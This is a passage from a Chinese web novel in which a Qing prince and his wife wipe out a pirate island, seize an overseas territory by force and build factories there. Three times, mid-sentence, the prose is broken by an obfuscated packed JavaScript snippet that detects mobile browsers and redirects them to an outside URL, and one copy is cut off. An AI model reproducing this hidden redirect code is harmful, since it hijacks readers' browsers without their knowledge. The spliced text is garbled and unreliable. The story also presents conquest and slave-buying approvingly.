“有吗?还好吧。” “你大哥表面精明内里也精明,你二哥表面憨厚实际上也是个精明的,而你……罢了,不提了。” 舒禾垂眸,抿了一口茶水,声音轻缓:“我怎么,不说了吗?” “人生在世,难得糊涂。” “糊涂一时?糊涂一世?” “时与世,有区别吗?” “呵,确实。” 糊涂过完一世,谁又能说的清楚是真的糊涂还是太过聪明呢? 房间内一时静默无言,两人皆端坐于椅子上,难言的气氛流动与两人之间,和谐且默契。 三个时辰时间眨眼即逝,直到有人过来敲门,说目的地到了,胤褆轻咳一声站起身,拿起挂在墙上的佩剑,说了声:“我去去就回。” “等等!” 舒禾在胤褆的注视下站起身,走到他面前,抬手理了理他的衣领,亦如两人新婚那天。 “衣领有些乱了,”纤长的手指在脖颈处几经翻转,“现下好了,你去吧。” 胤褆抬手握住舒禾下垂的手,抬起凑到唇边落下一吻。 “当时,乱的不止是衣领。” 话落,不等舒禾反应过来,转身就走。 船上即将出征的士兵已经集结完毕,下去的船梯也已经搭好,只等一声领下,即可下船登岛。 见状,胤褆也不迟疑,带着人就下船登岛,他们登的这面根据那两个俘虏的交代,平时根本就没有人会过来,也没有安排巡逻。 如此一来,他们直接暴露的几率大大减少,有着夜色的遮掩,大概率能够直接摸到敌人老巢。 小概率……小概率事件胤褆拒绝去想,他就不信他的运气真能…… 啧,这运气还真就是那么差! 听着不远处的鸟语,听了一会确定人数至多不超过五个后,胤褆抬手比了个手势,带了两个人过去,一人分两个,干脆利落地抹了敌人脖子,一擦溅到脸上的血,继续前进。 一路上碰到一个杀一个,碰上两个杀一双,等到了具体窝点时,不少人都已经动了手。 有那被激发出血性的,窝在草丛里,已经是蠢蠢欲动了,随着进攻的手势一打出来,冲上去的人个顶个的兴奋。 闹到最后,一岛的倭贼,一人没分几个就没了,胤褆甩甩剑上的血,眉头紧缩,“靠这几个,能横行海上那么多年?” “估摸着是出海打劫了,现在这些只是留守的。”达福说着将手中的长枪插进地面,甩了甩手上的血。 达寿活动活动手脚,颇有些不尽兴地问道:“还等吗?” “等!斩草不除根,春风吹又生。”胤褆眼里面满是狠意,既做了,就做绝,免得给以后的自己招至后患。 就这样,一行人在这里等了半个月,回来一群杀一群,直到又等了七天再没有船过来,才开着大船离开,继续踏上旅程。 就这,胤褆还不放心,私底下对明珠吩咐道:“记下这座小岛,回大清时,爷要再过来一趟。” 说是一窝端就是一窝端,别管多少年,这座岛上都不能有倭贼存在,有就默认和他杀的那些是一伙的! 39.换地图 端完倭贼窝,一行八条船绕着大圈朝预定好的目的地——欧洲驶去。 沿途遇到陆地就会上岸休憩两天,遇到城市就会补充补充船上的淡水,外加兜售船上从大清带来的货物,进新的货物。 一进一出,又是一笔收益。 当然,这途中也少不了放几个到家的人质下船,并派出人打探一下当地的风土民情,为以后的领地挑选做打算。 别问看中的地有主人怎么办,问就是强抢。 海上半年的日夜兼程赶路,抵达欧洲的同时,也成功让船上众人都晒出了均匀的小麦色皮肤。 最近一站,船只是在英国靠的岸,这一批人质百分之六十都是由英国贡献的,英国所支付的赎金更是占千万两黄金中的百分之五十。 因着这笔钱在,胤褆也不好意思在英国胡乱晃悠,把人往港口一扔,美曰其名人已经送到,他们就不叨扰了,施施然带着全船的人走了。 对此,舒禾只想说:真会装,要不是知道你平时是什么样的人,我差点就信你是真的不好意思了。 试问,一个能够想到抱着皇帝大腿求的人,会因为这事不好意思?不,当然不会,他只会自豪,因为是他拿了别让的钱,而不是他给别人钱。 所以,胤褆不上去的真实原因是什么呢? 据舒禾一天下来的观察,可以确切的说,是因为! 胤褆他听不懂英语,而且一听到英语就头疼。 原因是那么的朴实无华,朴实无华到让舒禾恍惚间记起,上辈子她也是一听到英语就头疼…… 言归正传,他们又踏上了旅程,一站一站的走,又是半年,期间他们遇到过无数小国,也遭遇过数次海匪袭击,却都没有中意的地方。 半年复半年,转眼间,离从大清出海已经过了一年半的时间,舒禾此刻正在和胤褆商量,再找不到合适的地方,就先回去一趟,然后再出来。 舒禾趴在胤褆身上,懒懒地抱怨道:“一年半了,小哈拉都能跑会跳了,咱们再不回去,她都该不认识咱们俩了。” 胤褆抱着怀里面的人,掀着眼皮反驳,“才不会呢,我给额娘留了咱们俩的画像,看着画像也能认人。” “可是,离开时,额娘挺生气的。” “……作为她亲儿媳,你应该对额娘有信心。” “保清,说实话,你对额娘有信心吗?” 胤褆沉默两秒,缓缓吐出两个字:“没有。” 他额娘那记仇的性子,说不定他们两个前脚走后脚就把画像烧了,或者放在库房里面堆灰了,给宝贝孙女认?什么玩意,不知道。 “所以啊,再有一个月找不到合适地点,就回去一趟?” 胤褆抬手按着舒禾的脸往下压了压,抬头和她贴了一下,方才哑着声音应好。 海上航行的日子很是无趣,数着日子过了半个月,就在舒禾笃定他们这次会无功而返之际,适合做他们两个领土的地方——出现了。 事实证明,他们两个还是有点运气在身上的。 这片土地上生活的人愚昧、心理接受能力较强、在被他们以强武力镇压后,也没有什么反抗心理,很是顺从就接受了他们安排的所有工作。 一切的一切顺理成章到了极点,有着大炮、火铳这些棒子,外加高产量粮食、好发展这些甜枣,这里的人很顺利就接受他们换了个顶头上司。 舒禾坐在新建起来的简陋木屋内,透过茶水飘起的袅袅白烟,恍惚间,只感觉这一切都跟梦一样。 【才不是梦呢,梦哪有这么真实的?】 看着桌上站着的巴掌大小人,舒禾瞳孔一颤,不可置信地瞪大眼睛,【宝石?我不是把你留在了大清吗?】 【对啊,我自己寻找你的信息过来了,】说着,宝石蓦然皱起眉抱怨道,【你都不知道,大海好大了,好多次我都差点迷路找不到你。】 “不是,关键是你来找我干什么?” 【哦,说到这个,也不是什么大事,就是你女儿,貌似不是单纯的一个小孩。】 闻言,舒禾眉毛瞬间皱了起来,因着自身经历在,她直接就猜测道:“她被穿了?” 【不是,经过我是观察,她貌似有点子修炼的天分。】 “哈?” 【她有阴阳眼,能够看到能量体的存在,随着年岁渐长,她看到的东西越来越多,鬼魂什么的都是其次,现在我怀疑,她能看到一个人的气运。】 手指轻敲桌面,舒禾垂眸看着面前的桌子,沉思两秒,沉重地问道:“这对她有什么影响?” 说完不等宝石回话,就又道:“不管是什么影响都可以说,我这边都能接受。” 【也没什么大影响,就是她被护国寺的方丈看上了,那个方丈现在正在磨着康熙让他同意哈拉出家,被康熙以哈拉父母不在,他不会代为答应的理由给拒了。 然后那个方丈,他就赖在皇宫里面不走了,美曰其名先简单教授一些知识,等哈拉父母归来之后再行收徒。 我过来,就是想告诉你,不要那么早回去。】 “为什么?”这时候不应该尽快赶回去,明确严词拒绝那个方丈的要求吗? 【那个方丈有真本事,哈拉多学些总是无碍的,等哈拉学完了,你再回去赶他走也行。】 这算盘打的……舒禾甘拜下风。 “就按你说的来吧,你现在急着回去吗?不急着回去,就陪我一段时间,急着回去,就算了。” 宝石陪着她从新长大那段时间她很快乐,每每想到自己拥有其他人所没有的东西,她就会忍不住窃喜。 如今有了女儿,女儿也能看见宝石,外加宝石确实是从小陪着哈拉,她也愿意和女儿分享这份曾独一无二的快乐。 只是秘密不再独一无二,心里面总是有些失落…… 从小看着舒禾长大,对于舒禾的什么情绪会有什么样的小动作,宝石早已经熟记于心。 看出舒禾此刻的失落,联想之前说的话,宝石很容易就猜出了舒禾因为什么失落,眨眨眼,径直飞到舒禾左肩处坐下,摸摸舒禾的头。 【在我这里,舒禾永远排在第零位,无论是谁,都越不过去,只要舒禾不赶我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989396|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,我就永远陪着舒禾。】 “不用永远,我活着的时候陪着我就够了。” 【听舒禾的。】 多熟悉的话术啊,每次宝石不想正面承诺或者答应什么,就会这样说,明面上唯唯诺诺,实际上根本就没往他那匣子里面去。 舒禾无奈地摇摇头,站起身拿上团扇,施施然往外走去,一边走一边小声道:“一直待在屋子里面很无趣,我带你去看看正在建设的新领地。” 【好啊,舒禾的领地,一定是最好的。】 “刚刚开始,哪里就称得上最好了?” 宝石双手环胸,看着舒禾控制不住上扬的嘴角,小大人似的摇了摇头,内心叹气,连情绪都掩饰不好,果然还是小孩子啊。 舒禾并不知道宝石对她的评价,在推开门走出去的瞬间,就摆出了矜傲的姿态,抬手放在秋雨伸出的手上,到了马车上方才卸下外人面前的伪装。 像个小孩一样不停的和宝石吐槽这里人的陋习。 听着舒禾的吐槽,宝石时不时点头附和,【确实挺糟糕的。】 【没错,就该这样,不以铁血手段立威,根本就建立不了政权。】 【对,应该改。】 【没错,教训的是。】 …… “参见郡王,郡王好。” “起来吧,”胤褆草草叫起后,略过准备拿脚凳的小太监,撑着车辙跳上马车。 掀开外层的车帘走进车厢,见到舒禾脸上难看的表情好看了几分,但还残留着几分烦躁之意。 舒禾见了,懒洋洋的对着胤褆招了招手,等胤褆凑近,一边摸着胤褆已经蓄了不短的头发顺毛,一边询问都发生了什么事。 “脸色这么难看,那边又出事了?” 说到这个,胤褆就来气,“那些愚民学不会汉语就算了,明珠和索额图居然因为教书的事,吵起来甚至还在大庭广众之下动了手,大清的脸都快被这两个蠢货被丢尽了!” 舒禾搞不懂胤褆为什么那么在意这本就不知道存不存在的颜面,毕竟那么多国家游下来,能够看出来,他们对大清并没有多大重视,甚至态度里面多有觊觎轻视之意。 “好了好了,别气了,气坏了身体可没人替,”舒禾先是安抚了一下胤褆,随后才道:“若是真的气不过,大不了罚他们两个跟着新收编的农民一起种地。” 闻言,正在生闷气的胤褆眼睛一亮,猛地抬起头捧住舒禾的脸亲了一口,兴奋道:“好主意!” “舒禾你可真聪明!一下子就想到了既能惩罚他们两个又不显得爷小心眼记仇的方法,太棒了!” “咳咳,”舒禾控制着一被夸奖就想上扬的嘴角,推了推胤褆的肩膀,嗔道:“夸就夸,别动手动脚的,把手放下来。” “哦哦,好。” 舒禾抬手碰了碰方才被捧着的地方,有点疼,应该红了,垂眸扫了一眼胤褆的手,暗道:力气还挺大,回去就给他安排一套耍刀表演。 拿起一边的团扇挡住半张脸,随口问道:“大哥、二哥呢?他们不是跟你一起出去了吗?” 40.出门 “他们两个出海去了,说是粮食有点不够了,去捞点鱼撑一段时间。” “粮食不是有满满四大船吗?” 胤褆无奈地耸耸肩,“最近消耗有点大。” “行吧。”舒禾点点头,知道有人意识到粮食不够这个问题后,她也不操心,反正多的是人会留意,再不济,旁边就是个小国,他们还能花钱买。 当下,还是带着宝石在领地里面转转比较重要,只有转过之后,再在商场里面买建设计划书才会更具体。 转之前,还有个障碍在,舒禾拿眼尾轻扫一边蹲着的一大坨人,轻声问道:“我要在领地里面转转,你是陪我还是?” “当然是陪你了,我亲爱的……” “Stop!闭嘴!再学那些外国人的油腔滑调,小心晚上进不了房。” 胤褆讪笑着哄道:“别介,我不学就是了,这点子小事不值当拿晚上的事威胁。” “记好你说的,要不然……哼哼~” 舒禾哼哼两声扭过头去,拉开车窗上的帘布朝外看去,一望无际的平原之上,零星有几个人在忙活着什么。 他们当下在的这里,属于待开发区域,正在开发区域还在远处。 他们占领的这片领地,说大不大,说小也不小,大概有大清两个省份那么大的占地。 当初占领这里时,还蛮轻松的,因为这里地广人稀,占领一小片向着往里面推进,根本没费什么功夫,就占了下来。 当然,这里人没反抗也是不费功夫的原因之一。 一开始舒禾和胤褆还疑心他们不反抗是不是有什么阴谋,后来才知道,他们之所以不反抗完全是被欺负得没了脾气。 因着他们人少,周围的小国时不时就会来骚扰一下他们,粮食没了还会来抢他们种好的。 久而久之,他们是地也懒得种了,鱼也懒得捕了,反抗也懒得反抗了,主打一个一切随心,能活活不能活就跳海。 连收尸都省了,可谓是非常省心了。 话题扯远了,她想和胤褆商量的是地广人稀这个问题。 “这里的人总归还是太少了,开荒分地一人分一百亩都是往少了说的,这样下去,不定什么时候才能把这里整理出来。” 听了舒禾忧心的话,胤褆想了想,提议道:“把旁边那个小国也一起拿下怎么样?” “旁边哪个?” 要知道旁边的小国可不少,左边一个、右边一个、左右还夹击着一个,主打全方位包围。 “右边那个,有士兵勘察来报,右边那个小国人口数量非常多。” “不可贸然开战,旁边三个国家,作为后来者,我们不知道它们三个有没有什么互相守望、携手相助的合约在,若是有,那就是与三个国家一起开战了。” 他们带过来的一共才八千人,与三个国家开战,就算是有火铳和炮弹,还是太过冒险了。 胤褆闻言琢磨了一下,也放弃了开战的想法,但硬的不行,他们还可以来软的啊! 听了胤褆吧啦一大堆的舒禾总结了一下重点,真诚发问:“你确定他们会卖奴隶给我们?” “不对,应该是你确定他们会把好的奴隶卖给我们?” 反正换成她,她是绝对不会把身强体壮的好奴隶卖给一个不确定是不是敌人的人,就算是卖,也只会卖些老弱病残。 “咳咳,这就需要咱们迂回一下了。” “迂回?” 胤褆抬手点点唇角,一如既往的讨赏。 “不行,这是在外边,不过等回去了可以补偿你双倍。” 实际上并不是因为在外边,而是因为宝石就在她肩膀上待着,当着宝石的面和胤褆亲近什么的,有点太超过了,她的小心脏接受不了。 胤褆委屈的撇撇嘴角,讨价还价道:“三倍。” “成交!” 目的达到,胤褆不再刻意卖关子,“说是迂回,实际上是武力震慑。 临着边界处有两座石山,明珠和索额图一早就决定尽快把这两座石山开掘出来,毕竟建设领地的方方面面都需要用到石头,只是人工挖掘到底是慢的。 是以,他们两个私底下找过我,想要用炮弹去炸,当时考虑到和平共处问题,被我给暂时推了,只说是要想想。 现在嘛……” 胤褆垂眸笑笑,“现在看来,用来震慑他们刚刚好。” “只是两个炮弹应该不够,我记得那里还有一座山,里面有狼、熊等猛兽,时不时会下山伤人,不如再派一队火铳军去?” “舒禾说的,就是我想的。” 作为这片土地的最高掌权者,两人随口吩咐一句,下面的人就自觉准备去了。 值得一说的是,当初因为小心眼报复带出来的那些官员,恰好在这片土地上形成了小型朝堂。 也是在这之后,胤褆真心地体会到了他皇阿玛的当皇帝的感觉,就一个字——爽! 就好比此刻,其他人都在苦哈哈的干活,他就能和舒禾出来骑马。 一晃神的功夫,身边的人就超过他老远,胤褆被远远落在后边,不由得一愣,恰在此时,舒禾扭头看了他一眼。 就是这一眼,看的胤褆脸上不由自主弥漫开一层笑意,扬起马鞭重重落在马屁股上,双腿用力一夹,提速朝着舒禾追去。 而让胤褆振奋起来的那一眼,只是因为宝石靠在舒禾耳边说的一句话。 原话是——【舒禾,被你落在后边的胤褆,好像一只被主人抛下独自伤心的小狗。】 因着好奇宝石口中描述的胤褆,舒禾才会转头看一眼。 看过后,直接在脑海中回道,【他不是小狗,而是晃神的老虎。】 【唔……确实,现在他不晃神了,直追你而来。】 【什……什么?】 还不等舒禾回头确定一下,就感觉身边一阵风刮过,眨眼间前面就多了个人,那人还炫耀似的对她抬起手晃了晃。 等等,手上有什么东西…… 舒禾凝神看去,金灿灿的,不是她戴在头上簪子还能是什么! 握着马鞭的手往头上一摸,原来盘得好好的头发,直接散出来一缕,弄明白了自身的情况,再看胤褆的脸,那是炫耀的表情吗?不,那是对她的挑衅! 眯着眼杀气腾腾的吼道:“胤褆!被我追上你就完了!” 闻言,胤褆脸上的笑容一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997795|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僵,这语气、这表情,他有点慌怎么办? 在原地停下等挨揍和继续跑之间,胤褆不过犹豫两秒就选择了继续跑,管它呢,能晚死一会是一会吧。 看着胤褆跑走的身影,舒禾冷笑一声,果断动用外援,【宝石,一会帮我指方向。】 【好。】 【左左左,对,往左上那个小坡,按照他刚才的行进习惯,百分之九十会从那边绕,你上去,一会直接俯冲追他!】 【哎!人跑了!】 【没事没事,我再帮你指路,这次换右前方向……】 帮舒禾指路的同时,宝石不忘一心二用打开商城里面的地图绘制仪,把路过的地方一比一复刻到绘制仪中。 如此这般追逐了半个时辰,身后的护卫都不知道甩哪去了,舒禾才在一个小斜坡堵到翻身下马认输投降的胤褆。 弯腰拿回胤褆手中属于自己的簪子,挽住那缕头发戴好,冷哼一声,“今天晚上不许回房睡。” “不回房睡那我去哪啊?” “你可以睡书房,或者不睡觉连夜干活,谁知道呢?”舒禾坐在马上耸耸肩,握着马绳控制马转向准备离开。 “反正我房间不欢迎……呀!你干什么!”扭头怒瞪着某个招呼都不打一声就上来的某人。 “我知道错了,原谅我让我晚上进房好不好?” “原谅你?”舒禾哼笑一声问道:“那你倒是说说为什么摘我的簪子,说得好,晚上就让你进房。” “因为一个老传统。” 胤褆企图含糊其辞的糊弄过去,舒禾完全不吃他这一套,“不说清楚就下去。” “摘下心爱之人的贴身之物,代表摘下了她这个人。” 舒禾低头转了转眼睛,突然问道:“这个说法,男女适用对吧?” “对。” 胤褆话音落地的一瞬间,舒禾抬手拽下他腰间佩戴的玉佩,翻身下马直奔停在一边吃草的另一只马而去。 再看胤褆,在玉佩被拽下来的一瞬间,人都傻了。 舒禾翻身上马,扬起手里面的玉佩,得意洋洋地说道:“我摘下了你的玉佩,你是我的了。” “好!我是你的了!不准反悔,驾!” “反不反悔呢……追到我再说!” 你追我赶的游戏再次开始,不同于刚才那场你追我赶长达半个时辰,这次不过短短几分钟就结束了追赶。 被追上了,舒禾直接把玉佩扔回去,继续跑。 马匹奔跑在平坦的草原上,配上肆意的欢声笑语,一切一切都美好的像是一场梦一样。 夜晚降临,舒禾和胤褆坐在篝火旁,一边是护卫们搭帐篷的身影,另一边是烤得油亮的烤全羊。 舒禾的目光定定地看着烤全羊,时不时咽下口水,很明显馋了或者饿了,胤褆眼眸弯弯地看着这样的舒禾,内心说不出的惬意。 “一直看着我,我很好看吗?” 仗着舒禾根本就没有扭头,胤褆光明正大的装傻,“什么看你?我在看烤全羊!” “……知道吗?目光定在身上的感觉还是挺明显的,我不是那架在烤架上的烤全羊,你这样盯着我,我能感觉到。” 41.办厂 “是吗?那不如舒禾猜猜,我为什么看你?” 舒禾微微偏头看了一眼一脸无赖的胤褆,大喇喇地翻了个白眼,“不猜。” “不猜就不猜嘛,”胤褆小声嘟囔,“作什么翻白眼,虽然翻白眼也很好看……” “喂,烤全羊好了,你一个人在那嘟囔什么呢,快来吃。” “来了。” 胤褆站起身走到烤全羊旁边,挤掉预备切割烤全羊的宫人,拿着盘子在下面接着,手起刀落砍了个羊腿下来。 端着盘子放到舒禾面前,扬了扬下巴,“吃吧,今天晚上你吃的烤全羊爷包了。” 舒禾用匕首把羊腿上的肉片下来,捻起一块塞到嘴里面,对着大方包场的胤褆无情打击道:“这里的士兵都是我花钱养的。” “昂,”胤褆不明所以地点点头,“我知道啊,这个有什么问题吗?” “按照原则来说,他们所创造的劳动价值属于我,所以……”舒禾瞥一眼烤好的羊,“是我为你把这只羊包了。” “哦,这样啊,那你喂我吧。” 舒禾不解且大为震撼地看着坐在她旁边张嘴等吃的胤褆,“你觉得这合理吗?” “合理啊,哎呀别说了,喂我。” 面对胤褆理所当然的态度,舒禾不自觉的开始了投喂工作,直到半个羊腿下去,才如梦初醒般一把推开靠在她身上的胤褆。 “自己吃去!” 胤褆被推倒在草地上,没有急着起来,而是顺势躺倒,歪头看着舒禾,耍赖道:“不行了,我被推出来内伤了,起不来了。” “你装好歹也装得像点,哪有受了内伤的人像你这样中气十足的?” 听了舒禾无语的吐槽,胤褆迅速查漏补缺,抬手捂住胸口,表情转换,最终落到伤心上,“夫妻快三载,舒禾你居然不信我,我可真是太伤心了。” “不是……你这……啧!”舒禾无奈抬手扶额,她刚才就多余搭理胤褆,就该让他一个人唱独角戏去,唱一会没趣自己就歇了,现在好了,一搭理他,来劲了。 …… 一场闹剧落场,到最后舒禾是身心憔悴,讲真的,如果不是胤褆蓄发后的颜值实在不错,外加还有之前的感情基础在,舒禾是真觉得凭着胤褆这个作样,他们俩早晚要各吵一架,中午不吵纯粹是早上吵累了,为晚上的吵架休养生息。 在外边带着护卫痛痛快快地玩了三天后,第四天一早两人就往回赶,花了两个时辰来到暂住的地方,迎面就对上了眼神哀怨的兄弟俩。 面对两个哥哥控诉的眼神,舒禾难得有些心虚,不动声色地后退两步退到胤褆身后,戳了戳他的腰,示意他上。 接受到亲亲福晋的示意,胤褆对着两个大舅哥点点头,“好久不见。” “我们兄弟两个出门捕鱼当粮食,去的时日不短不长,确实称得上一句好久不见,就是不知道郡王这些天都为领地干了什么?” “不知道达大将军有没有听过一句话?” 达福轻笑一声,笑不达眼底,“世上的话多了,不知道郡王说得是哪一句?” “家和则万事和。” “所以?” “回到第一个问题,维护领地和平去了。” 达福在脑海中将前后因果关系捋了一遍,弄明白胤褆想表达的意思后,直接气笑了,“不愧是直郡王,黑的都能说成白的,贪图享乐就说贪图享乐,在这扯什么大道理!” 与此同时,胤褆的脸色也冷了下来,“爷顾念着你是福晋的哥哥,但不代表爷没有脾气,玩笑应该适可而止。” “呵,你不过……” 眼见着两人吵出了火气,舒禾探头瞪了一眼一边双手环胸看热闹看得兴起的达寿,眼神示意他把达福拉走。 达寿接收到眼神示意,撇了撇嘴,不情不愿的开始干活,捂住达福的嘴,代他道歉一条龙服务直接给安排上。 “大哥在海上待久了,精神上出了点问题,方才的话并不是出于本心,还望郡王勿怪。” 胤褆一口气梗在喉咙里面,当场就想怼回去:一句他不是出于本心就想了事,那本王踹他两脚完了说句不是本心岂不是也行? 只是怼之前回头看了一眼抬头望着他的福晋,那话是怎么都说不出来了。 心累地摆摆手,“滚吧,这次就算了,再有下次,杖责。” “谢郡王开恩,奴才这就带着这不成器的哥哥下去。”达寿行了周全的礼数方才离开。 至于被堵着嘴一直发出唔唔叫声的达福有没有行礼,直接被所有人选择性忽视了。 离开众人视线回到住处后,达寿松开达福,反身靠在墙上,淡淡道:“大哥,你太冲动了。” “不冲动不行,再这样下去,咱们就是永远做人臣子的份了。” 看着已然有疯魔趋势的大哥,达寿抬手捏了捏眉心,“你有没有想过,你分出去单干舒禾会受到什么影响。” “……我会处理好所有事的。” “你拿什么处理?小妹研究出来的火铳、大炮吗?大哥,有现在你应该……” 达福不耐烦地打断达寿的话,愤怒道:“我应该什么!应该庆幸自己有现在的成就吗?别忘了这一年半下来咱们见过的那些女人,她们在家族失势之后是什么下场! 你就能够保证,离了大清那些礼仪约束后,他胤褆会数年如一日的对待舒禾? 不!你不能保证,因为你也是一个男人,你清楚地知道男人的劣性根!” “然后呢?” 听见达寿这么淡定的反问,达福一时间愣住,“什……什么?” “我说然后呢?就为了你那些担忧,不顾一切地出去单干?”达寿深深地看了一眼达福,“这其中有几分是为了小妹,几分是为了自己,你自己清楚。” 方才所说直郡王对待感情如何,怕不是想象中未来的自己,若真是如此,他达寿为在家中等候丈夫回去的大嫂感到可悲。 达寿深吸一口气,“道不同不相为谋,你想出去单干我尊重你的意愿,你也不用担心舒禾和直郡王不同意,那边我会去帮你说。” “你……” 看着达寿离开的背影,达福眼里面闪过一丝茫然,难不成他真的做错了不成?不,他没有错! 但为什么达寿会…… “事情就是这么个事情,舒禾你怎么看?” “大哥想出去闯一闯,作为弟弟妹妹的,当然是支持了,”舒禾摇了摇手上的团扇,懒散道:“只是这边的情况二哥你也是知道的,我这边最多能腾出来一千人和一条船给大哥。” “够了,这么多人不管遇到什么事,总能保大哥一条命在。” 两人又聊了几句,达寿就顺势提出了告辞,妹妹已经大婚,他作为哥哥,两人单独共处一室已然有些不妥,再长时间待着到底不好。 这边达寿离开后,胤褆迈步从屏风后边走出来,懒洋洋地打了个哈欠,“你二哥过来就是为这事啊,急急忙忙的,还以为是天塌下来的大事呢。” “坐,喝茶吗?” “你泡的茶自然是要喝的。” 胤褆拿起倒好的茶水抿了一口,还没来得及下咽就听到舒禾开口了。 “我这人从小就比较看重情感上的东西,二哥是知道这一点的,这次过来,估摸着也是害怕由大哥亲自来说我接受不了,才会自己过来说。” 胤褆闻言眼睛一亮,关注点顺利跑偏,“那岂不是说明你也非常看重咱们两个之间的感情?” “前提是有感情。” “那……舒禾,咱们两个之间有感情吗?” “……有。”舒禾沉默两秒,给出了肯定的答案。 完后看着因一个字而开心到咧着嘴傻乐的胤褆,也情不自禁地勾起了唇角。 达福离开的事在这边过了明路后,舒禾就把说好的一条船和人给送了过去。 至于达福打算什么时候离开,舒禾就没有再去关注了,她觉得兄妹一场,离开时总归会通知她,送行什么的不耽搁。 自此全身心全部投入到威慑周边国家计划中去,她负责后勤,胤褆负责练兵,她和胤褆都挺忙的。 至于达福离开的消息,最后还是达寿想起来达福已经离开,舒禾可能不知道,随口提了一句舒禾才知道达福已经离开半个月了。 对此,舒禾的反应是沉默,她是真的没想到大哥能说走就走,连个告别都没有。 这一刻,倒显得往前数年的疼爱像假的一样。 “舒禾,你也不用太过伤心,大不了就当以后只有我这一个哥哥就好,二哥我也体验一把当大哥的感觉。” 舒禾被达寿的话逗笑,“噗嗤——二哥,你这话要是被大哥知道了,你就等着被他拉上比武台吧!” “拉就拉呗,我现在对上他虽然不能说压倒性胜利,但五五开还是可以的。” “是么,这么厉害啊!” 看着舒禾脸上夸张的神色,达寿手指轻触鼻尖,不好意思的撇开脸。 “倒也不及你狭促人厉害,额娘说的没错,你就是个小狭促鬼。” “呵呵,额娘瞎说,二哥你怎么也瞎听呢。” 舒禾垂眸扫视桌上一团乱的账本,佯装很忙地摊摊手,“二哥,你也看到了,我还有那么多账本没看,就不留你继续说话了。” “行,那你忙,我就先走了。” “我让秋雨送你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如今领地里面一切都处于筹备阶段,建造医馆要钱、要医生,建造军营要钱、要人、要兵器,建造房屋要钱、要人…… 总结下来,干什么都需要钱。 这一天天下来,所耗费的银钱无疑是天数,偏偏现在被绑在这领地上,赚钱都不好赚。 说到赚钱,舒禾更想回大清了,她的根基都在那里,也不知道这一年多下来又多赚了多少钱。 不过看现在的趋势,短时间应该是回不去了,新拿下来的领地不巩固统治,再回来,可能就又改姓了。 不能回去拿钱,舒禾自然而然的开始琢磨新的赚钱路子。 这一琢磨就入了神,晚上吃饭时都心不在焉的,要不是有人给布菜,一直吃空气都是有可能的。 这神思不属的模样,看的胤褆一脸担心,放下碗筷,对一众伺候的侍女太监摆摆手,示意他们下去。 “舒禾,想什么呢?” “钱……” 钱?和领地内的情况上下一联系,胤褆就明白过来舒禾为什么因为钱而这样了。 但这事他有办法啊! “我前些天派人去了一趟其他三个国家,发现他们很喜欢大清的丝绸制品,一件小小的丝绸团扇就能卖到五十两金子,各贵族之间,还以能得到丝绸制品为荣。” 舒禾眼睛亮晶晶地听完胤褆的话,几乎是在话音落下的一瞬间就迫不及待地开了口。 “出海时,咱们带了几十个绣娘,用到这里,恰是派上了用场!” “嗯,只是几十个还是太少了,毕竟咱们要做的是三个国家的生意。” 舒禾垂眸思忖半晌,突然道:“办厂吧。” “厂?什么厂?” “女子织造厂,给女子提供就业机会的同时,也能给领地创收。” “可以,只是女子有活干了,那些男人怎么办?总不能让他们懒在家里面,凭女子养着。” “凭女子养着确实不妥,这样,给我几天时间,我想一下都能再这片土地上办什么厂。” 接下来几天时间,胤褆和舒禾窝在家里面哪也没去,只口头命令不停地下发。 包括但不限于人口统计、文化水平统查、领地面积丈量、地图绘制、城主府的修建…… 至于建什么厂,舒禾和胤褆商量了一下领地以后的发展方向,确定大致是军事方向以及少部分的自给自足后,直接拍板决定建造船厂、武器生产厂、干粮厂…… 其中武器生产厂又分许多部门,不一而足。 如火如荼的建设中,过年前,城主府成功建好,一行人从简陋的临时住所成功搬进威宏大气的城主府。 随着一件事的完成,其他几件事也纷纷有了成果。 其中用来赚钱的纺织厂率先传来捷报,夫妻两个巡视了一番纺织厂的成果后,对视一眼,一切尽在不言中。 42.威慑 甜枣诱饵准备好了,那背在身后的棒子也要伸出去了,只有先邦邦敲两下挂在门口的警钟,那些外边的豺狼才不会认为他们软弱可欺。 因着威慑三方这事是早有打算,所以做起来倒也不算麻烦。 正月初一到正月十五,十五天,不仅过了一个热闹的年,还令给三国准备了一份惊喜。 正月十五当晚,舒禾和胤褆坐在正院凉庭中,懒懒地拿起桌上的酒杯碰了一下,随后将酒杯中的酒液一饮而尽。 “嗖~砰——嗖~砰……” 漆黑如墨的夜空中突然亮起几抹亮色,是武器营为了庆祝在异国他乡新年特意倒模设计的烟花。 一朵朵烟花在夜空中绽开,映衬着边界时不时响起的爆炸声,奏响了威慑三国第一个交响曲。 其他三国边界守卫的士兵听着近在咫尺的爆炸声,只感觉心惊胆战,唯恐对方一个不小心扔过边界线把他们一起炸了。 明珠拿着望远镜远远望着对方的表现,忽然嗤笑出声,“真是一帮怂货,就这么一会,那腿就抖的比织造厂女工干活时还快。” “喜欢抖,那就再给他们放两个‘烟花’助助兴,咱们大清可不是什么小气的国家。” 